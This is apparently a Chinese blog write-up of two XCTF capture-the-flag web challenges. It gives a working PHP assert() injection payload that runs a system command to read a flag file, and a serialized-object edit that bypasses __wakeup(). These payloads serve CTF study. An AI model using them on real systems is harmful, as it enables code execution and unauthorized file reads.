美文网首页
攻防世界mfw & unserialize3

攻防世界mfw & unserialize3

作者: jun123123 | 来源:发表于2019-11-05 13:18 被阅读0次
  • mfw
    .git源码泄露
    先用githack下载源码,审一下发现两个assert()
// I heard '..' is dangerous!
assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");

// TODO: Make this look nice
assert("file_exists('$file')") or die("That file doesn't exist!");

这里两个地方都可以注入,payload:page=','..') or system("cat templates/flag.php");//
注释里就能看到flag
刚做这个有两个问题没想清楚
1.为什么base64可以直接输出,否则在注释里;
直接输出的结果里有php标签,浏览器无法解析,所以放进注释
base64编码后无php标签。
这里的返回结果是字符串所以即使有php标签服务器端也不会解析。
include会直接解析包含的文件内容无论原来文件的格式,所以使用伪协议包含文件时要进行base64编码。
system函数返回并打印执行结果的最后一行/flase
2.什么情况下可以进行类似注入;
assert函数参数为拼接的字符串所以可以注入,原理类似sql注入

  • unserialize3
    反序列化
    给了源码,绕过_wakeup()函数即可
    payload
$x = new xctf();
$x->flag='111';
echo serialize($x);

得到序列化结果

O:4:"xctf":1:{s:4:"flag";s:3:"111";}

更改为

O:4:"xctf":2:{s:4:"flag";s:3:"111";}

即得flag
如果反序列化时成员变量数量大于实际数量就会绕过_wakeup()函数

相关文章

  • 攻防世界mfw & unserialize3

    mfw.git源码泄露先用githack下载源码,审一下发现两个assert() 这里两个地方都可以注入,payl...

  • 攻防世界-unserialize3

    高手进阶区,unserialize3 题目来源:攻防世界[https://adworld.xctf.org.cn/...

  • 攻防世界-Web-mfw

    题目信息: 打开题目场景,检查网站,发现这样一个页面 访问.git目录,疑似存在git源码泄露 再用dirsear...

  • 攻防世界(进阶)--WEB--14.mfw

    考察点:git漏洞,代码审计 1.进入场景 访问.git目录,疑似存在git源码泄露 2.使用 GitHack获取...

  • mfw

    第一个先是敏感目录扫描 扫到/.git/的存在 然后用githack工具下载出来源码 111.198.29.45_...

  • unserialize3

    class xctf{ public $flag = '111'; public function __wakeu...

  • mfw sigh signature 请求协议分析(2)

    mfw sigh signature 请求协议分析 环境 python: 3.8 frida: 12.8.0 ob...

  • mfw sigh signature 请求协议分析

    mfw sigh signature 请求协议分析 环境 python: 3.8 frida: 12.8.0 ob...

  • 攻防世界新手

    就按照题目的难易程度写 新手区没有涉及到栈的相关知识,几乎是栈漏洞 get_shell 第一个题目比较简单 ida...

  • 攻防世界 lottery

    .git源码泄露/题目也给了附件下载源码/访问robots.txt也能看到.git代码审计,审了好久都没找到漏洞点...

网友评论

      本文标题:攻防世界mfw & unserialize3

      本文链接:https://www.haomeiwen.com/subject/zbwjbctx.html